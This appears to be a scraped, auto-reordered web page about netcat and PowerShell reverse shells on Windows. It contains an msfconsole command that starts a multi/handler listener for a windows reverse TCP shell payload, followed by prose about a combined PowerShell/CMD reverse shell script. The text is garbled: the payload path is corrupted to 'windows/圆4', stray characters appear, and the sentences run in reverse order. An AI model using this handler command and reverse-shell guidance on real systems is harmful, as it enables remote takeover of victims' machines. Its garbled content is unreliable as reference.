![netcat reverse shell command netcat reverse shell command](http://argumentexception.com/wp-content/uploads/2021/03/listening-on-port-3333.png)
Msfconsole -q -x "setg LHOST $HOSTIP use exploit/multi/handler set ExitOnSession false set PAYLOAD windows/圆4/shell_reverse_tcp set EXITFUNC thread set LPORT $EXP1 exploit -j "
#NETCAT REVERSE SHELL COMMAND WINDOWS#
So if you are having issues with a command's syntax, be sure to test on your own Windows system from an interactive PowerShell prompt. As a result of the -NonI option, if you fail to provide the required parameters to a PowerShell command you will not see any error messages, the command simply will not work. The result of not running it like this is that PowerShell will try to interactively prompt for missing parameters and your shell will be locked up. The script is intended to be launched with the -NonI (non interactive) option of PowerShell. Then type $ps=$false in the PowerShell shell and you will switch back to running commands through cmd.exe. Type $ps on the CMD command line and the shell will switch to a PowerShell shell from the cmd.exe shell. This shell doubles as a PowerShell reverse shell.
![netcat reverse shell command netcat reverse shell command](https://miro.medium.com/max/1272/1*-sgjXA-dvWGKAgbl7W_Wug.png)
For this reason I had to catch any directory or drive letter change and execute them in PowerShell, otherwise the change would not persist between one call to cmd.exe and the next. The reality is that PowerShell is calling 'cmd.exe /c' for every CMD command that you enter, so in effect PowerShell is the parent, cmd.exe the child and the only environment change that persists between commands happens in PowerShell.
![netcat reverse shell command netcat reverse shell command](https://0x00sec.org/uploads/default/original/2X/6/69e4bb383f6cca02e9b395a9f3fb3314351fcd19.png)
Bear in mind that 'cd,'exit',and 'd:' are required, if you remove them you will be unable to switch to other directories or drives and have the switch persist until the next command, and you will not be able to use the exit command to exit the shell. Also, if you are determined to only support CMD commands when at the CMD prompt then reduce the list. Simply add more of them to the array if you wish to support more. I designed this shell to support some PowerShell convenience commands such as 'pwd','ls','ps','rm','cp','mv','cat'. It is your responsibility to determine whether you are legally permitted to use these scripts in your country and for your purposes. Use only on systems for which you have acquired all the legally required contracts and permissions for use. Combined PowerShell and CMD Reverse ShellĬredit: Based on the PowerShell reverse shell one-liner provided by Nikhil Mittal:ĭisclaimer: These scripts are provided for educational purposes only and for use by Ethical Hackers.